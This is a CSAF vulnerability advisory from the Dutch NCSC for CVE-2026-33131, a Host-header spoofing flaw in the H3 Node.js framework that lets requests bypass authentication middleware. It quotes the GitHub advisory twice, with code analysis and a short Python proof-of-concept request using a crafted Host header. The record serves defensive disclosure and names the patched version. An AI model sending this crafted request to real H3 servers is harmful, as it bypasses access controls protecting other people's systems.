{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33131", "tracking": { "current_release_date": "2026-03-26T06:11:55.483148Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33131", "initial_release_date": "2026-03-18T17:08:16.376181Z", "revision_history": [ { "date": "2026-03-18T17:08:16.376181Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-18T17:08:27.995760Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-19T11:40:07.379175Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-20T18:29:17.466013Z", "number": "4", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-20T18:29:21.071399Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-03-20T18:29:34.667801Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-03-20T18:29:36.284313Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-03-20T18:30:42.929940Z", "number": "8", "summary": "Unknown change." }, { "date": "2026-03-20T20:25:38.175220Z", "number": "9", "summary": "Products connected (14).| Product Identifiers created (14).| Exploits created (1)." }, { "date": "2026-03-20T20:25:40.775841Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-03-20T21:07:26.548817Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-20T21:41:34.427804Z", "number": "12", "summary": "References created (1)." }, { "date": "2026-03-20T21:58:58.926467Z", "number": "13", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-21T13:47:19.201585Z", "number": "14", "summary": "References removed (1)." }, { "date": "2026-03-22T00:51:44.953500Z", "number": "15", "summary": "References created (1)." }, { "date": "2026-03-22T11:24:48.374899Z", "number": "16", "summary": "References removed (1)." }, { "date": "2026-03-23T00:53:55.000150Z", "number": "17", "summary": "References created (1)." }, { "date": "2026-03-23T05:15:51.438720Z", "number": "18", "summary": "References removed (1)." }, { "date": "2026-03-24T20:56:11.995660Z", "number": "19", "summary": "References created (1)." } ], "status": "interim", "version": "19" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2.0.0", "product": { "name": "vers:unknown/2.0.0", "product_id": "CSAFPID-5875818", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.0:*:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc10", "product": { "name": "vers:unknown/2.0.1-rc10", "product_id": "CSAFPID-5875830", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc10:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc11", "product": { "name": "vers:unknown/2.0.1-rc11", "product_id": "CSAFPID-5875831", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc11:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc12", "product": { "name": "vers:unknown/2.0.1-rc12", "product_id": "CSAFPID-5875832", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc12:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc13", "product": { "name": "vers:unknown/2.0.1-rc13", "product_id": "CSAFPID-5875833", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc13:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc14", "product": { "name": "vers:unknown/2.0.1-rc14", "product_id": "CSAFPID-5875834", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc14:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc2", "product": { "name": "vers:unknown/2.0.1-rc2", "product_id": "CSAFPID-5875820", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc2:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc3", "product": { "name": "vers:unknown/2.0.1-rc3", "product_id": "CSAFPID-5875821", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc3:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc4", "product": { "name": "vers:unknown/2.0.1-rc4", "product_id": "CSAFPID-5875822", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc4:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc5", "product": { "name": "vers:unknown/2.0.1-rc5", "product_id": "CSAFPID-5875823", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc5:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc6", "product": { "name": "vers:unknown/2.0.1-rc6", "product_id": "CSAFPID-5875824", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc6:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc7", "product": { "name": "vers:unknown/2.0.1-rc7", "product_id": "CSAFPID-5875825", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc7:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc8", "product": { "name": "vers:unknown/2.0.1-rc8", "product_id": "CSAFPID-5875826", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc8:*:*:*:node.js:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0.1-rc9", "product": { "name": "vers:unknown/2.0.1-rc9", "product_id": "CSAFPID-5875835", "product_identification_helper": { "cpe": "cpe:2.3:a:h3:h3:2.0.1:rc9:*:*:*:node.js:*:*" } } } ], "category": "product_name", "name": "h3" } ], "category": "vendor", "name": "h3" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=2.0.0-0|<2.0.1-rc.15", "product": { "name": "vers:unknown/>=2.0.0-0|<2.0.1-rc.15", "product_id": "CSAFPID-5874591" } } ], "category": "product_name", "name": "h3" } ], "category": "vendor", "name": "h3js" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33131", "cwe": { "id": "CWE-290", "name": "Authentication Bypass by Spoofing" }, "notes": [ { "category": "description", "text": "# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) => {\n const token = event.headers.get(\"x-internal-key\");\n\n if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n return new Response(\"Forbidden\", { status: 403 });\n }\n\n return next();\n});\nconst logger = defineHandler((event, next) => {\n console.log(\"Logging : \" + event.url.hostname)\n return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () => {\n return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there's one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n if (this.#url) return this.#url;\n this.#url = new NativeURL(this.href);\n this.#href = void 0;\n this.#protocol = void 0;\n this.#host = void 0;\n this.#pathname = void 0;\n this.#search = void 0;\n this.#searchParams = void 0;\n this.#pos = void 0;\n return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this code : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n if (this.#url) return this.#url.href;\n if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n const route = this[\"~findRoute\"](event);\n if (route) {\n event.context.params = route.params;\n event.context.matchedRoute = route.data;\n }\n const routeHandler = route?.data.handler || NoHandler;\n const middleware = this[\"~getMiddleware\"](event, route);\n return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.", "title": "github - https://github.com/advisories/GHSA-3vj8-jmxq-cgj5" }, { "category": "description", "text": "# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) => {\n const token = event.headers.get(\"x-internal-key\");\n\n if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n return new Response(\"Forbidden\", { status: 403 });\n }\n\n return next();\n});\nconst logger = defineHandler((event, next) => {\n console.log(\"Logging : \" + event.url.hostname)\n return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () => {\n return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there's one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n if (this.#url) return this.#url;\n this.#url = new NativeURL(this.href);\n this.#href = void 0;\n this.#protocol = void 0;\n this.#host = void 0;\n this.#pathname = void 0;\n this.#search = void 0;\n this.#searchParams = void 0;\n this.#pos = void 0;\n return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this code : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n if (this.#url) return this.#url.href;\n if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n const route = this[\"~findRoute\"](event);\n if (route) {\n event.context.params = route.params;\n event.context.matchedRoute = route.data;\n }\n const routeHandler = route?.data.handler || NoHandler;\n const middleware = this[\"~getMiddleware\"](event, route);\n return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.", "title": "github - https://api.github.com/advisories/GHSA-3vj8-jmxq-cgj5" }, { "category": "description", "text": "H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33131.json" }, { "category": "description", "text": "H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33131" }, { "category": "other", "text": "0.00041", "title": "EPSS" }, { "category": "other", "text": "3.6", "title": "NCSC Score" }, { "category": "other", "text": "Exploit code publicly available, Is related to (a version of) an uncommon product, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5874591", "CSAFPID-5875818", "CSAFPID-5875820", "CSAFPID-5875821", "CSAFPID-5875822", "CSAFPID-5875823", "CSAFPID-5875824", "CSAFPID-5875825", "CSAFPID-5875826", "CSAFPID-5875830", "CSAFPID-5875831", "CSAFPID-5875832", "CSAFPID-5875833", "CSAFPID-5875834", "CSAFPID-5875835" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-3vj8-jmxq-cgj5" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-3vj8-jmxq-cgj5" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-3vj8-jmxq-cgj5" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33131.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33131" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd", "url": "https://github.com/h3js/h3/security/advisories/GHSA-3vj8-jmxq-cgj5" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-3vj8-jmxq-cgj5" }, { "category": "external", "summary": "Reference - github", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33131" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-5874591", "CSAFPID-5875818", "CSAFPID-5875820", "CSAFPID-5875821", "CSAFPID-5875822", "CSAFPID-5875823", "CSAFPID-5875824", "CSAFPID-5875825", "CSAFPID-5875826", "CSAFPID-5875830", "CSAFPID-5875831", "CSAFPID-5875832", "CSAFPID-5875833", "CSAFPID-5875834", "CSAFPID-5875835" ] } ], "title": "CVE-2026-33131" } ] }